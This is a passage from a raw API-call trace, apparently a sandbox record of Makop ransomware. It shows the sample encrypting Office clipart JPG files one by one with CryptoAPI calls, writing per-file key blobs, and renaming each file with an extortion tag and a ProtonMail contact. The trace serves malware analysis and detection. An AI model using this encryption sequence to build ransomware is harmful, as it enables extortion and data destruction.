lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.414] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.414] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.414] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb12e, lpOverlapped=0x0) returned 1 [0126.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb130, dwBufLen=0xb130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb130) returned 1 [0126.417] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb130, lpOverlapped=0x0) returned 1 [0126.418] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.418] SetEndOfFile (hFile=0xf0) returned 1 [0126.427] GetProcessHeap () returned 0x48a0000 [0126.427] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.428] GetProcessHeap () returned 0x48a0000 [0126.428] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.428] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.429] CloseHandle (hObject=0xf0) returned 1 [0126.430] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0126.430] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0126.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.573] GetProcessHeap () returned 0x48a0000 [0126.574] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.574] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0126.631] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.631] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.631] GetProcessHeap () returned 0x48a0000 [0126.631] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.631] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.631] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.631] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.631] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.632] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.632] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.632] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.632] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd902, lpOverlapped=0x0) returned 1 [0126.637] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd910, dwBufLen=0xd910 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd910) returned 1 [0126.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.638] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd910, lpOverlapped=0x0) returned 1 [0126.639] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.639] SetEndOfFile (hFile=0xf0) returned 1 [0126.647] GetProcessHeap () returned 0x48a0000 [0126.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.647] GetProcessHeap () returned 0x48a0000 [0126.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.647] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.648] CloseHandle (hObject=0xf0) returned 1 [0126.648] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0126.649] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0126.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.650] GetProcessHeap () returned 0x48a0000 [0126.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.650] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0126.657] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.657] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.657] GetProcessHeap () returned 0x48a0000 [0126.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.657] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.657] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.657] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.658] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.659] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x907d, lpOverlapped=0x0) returned 1 [0126.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9080, dwBufLen=0x9080 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9080) returned 1 [0126.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9080, lpOverlapped=0x0) returned 1 [0126.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.662] SetEndOfFile (hFile=0xf0) returned 1 [0126.702] GetProcessHeap () returned 0x48a0000 [0126.702] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.702] GetProcessHeap () returned 0x48a0000 [0126.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.703] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.705] CloseHandle (hObject=0xf0) returned 1 [0126.705] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0126.705] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned 63 [0126.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.706] GetProcessHeap () returned 0x48a0000 [0126.706] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.706] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0126.711] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.711] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.711] GetProcessHeap () returned 0x48a0000 [0126.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.712] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.712] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.712] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.713] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7214, lpOverlapped=0x0) returned 1 [0126.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7220, dwBufLen=0x7220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7220) returned 1 [0126.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7220, lpOverlapped=0x0) returned 1 [0126.716] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.717] SetEndOfFile (hFile=0xf0) returned 1 [0126.725] GetProcessHeap () returned 0x48a0000 [0126.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.725] GetProcessHeap () returned 0x48a0000 [0126.725] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.725] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.726] CloseHandle (hObject=0xf0) returned 1 [0126.727] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0126.727] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0126.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.728] GetProcessHeap () returned 0x48a0000 [0126.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.728] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0126.752] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.752] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.753] GetProcessHeap () returned 0x48a0000 [0126.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, 